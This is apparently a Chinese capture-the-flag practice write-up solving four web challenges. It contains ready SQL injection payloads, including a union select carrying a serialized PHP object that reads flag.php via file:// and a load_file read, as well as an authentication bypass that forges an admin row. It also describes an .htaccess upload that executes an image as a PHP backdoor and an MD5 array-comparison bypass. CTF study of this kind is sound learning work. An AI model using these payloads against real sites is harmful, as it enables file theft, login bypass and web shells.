刷题4

[网鼎杯2018]fakebook题解 先注册一个 然后发现/view.php?no=1 貌似可以sql注入?no=-1 显示了Notice: Trying to get property of non-object in /var/www/html/view.php on line 53 数字型 的所有就?no=0 扫后台发现robots.txt 然后又发现一个user.php.bak 可以大概猜一猜flag位置
然后这又是一个序列化题目
<?php

class UserInfo
{
public $name = “aaad”;
public $age = 19;
public $blog = “file:///var/www/html/flag.php”;

public function __construct($name, $age, $blog)
{
    $this->name = $name;
    $this->age = (int)$age;
    $this->blog = $blog;
}

function get($url)
{
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if($httpCode == 404) {
        return 404;
    }
    curl_close($ch);

    return $output;
}

public function getBlogContents ()
{
    return $this->get($this->blog);
}

public function isValidBlog ()
{
    $blog = $this->blog;
    return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}
$a = new UserInfo(“aaad”,19,”file:///var/www/html/flag.php”);
var_dump(serialize($a));
?> 构造这个然后复制一波 aaad 19 4399 这些是自己弄 要弄什么都可以 ?no=-1//union//select//1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:4:”aaad”;s:3:”age”;i:19;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’ 然后右键查看源码 有个data text 啥的
那段复制然后base64解码就可
或者因为sql注入没有过滤load_file直接取得flag
no=-1 union/
/select 1,load_file(“/var/www/html/flag.php”),3,4
[GXYCTF2019]BabySQli 1 union select 1,2,3 在这个关要构造假身份 利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。select * from ‘users’ where name=’person’ union select 1,’admin’,’e10adc3949ba59abbe56057f20f883e’,4,5 按照我们的输入,sqli在数据库中写入数据,相当于伪造了一个身份,就可以用这个身份登录了。
试探id username password 这三个的顺序如何 name=aaa’ union select ‘admin’,2 #&pw=qqq 显示wrong user
name=aaa’ union select 1,’admin’,3 #&pw=qqq 显示wrong password 然后把3 改成qqq的MD5加密形式就可以了
https://xz.aliyun.com/t/3674(反序列化的一些知识点)
[MRCTF2020]你传你🐎呢 1
<FilesMatch “1.png”>
SetHandler application/x-httpd-php
传一个这样的.htaccess 这个是将1.png 默认成php 然后传一个1.png的后门文件就可以了
[MRCTF2020]Ez_bypass 1又是一题MD5 比较的 那就数组绕过?gg[]=1&id[]=2
然后post一个passwd=1234567a就可以了 因为 if($passwd==1234567)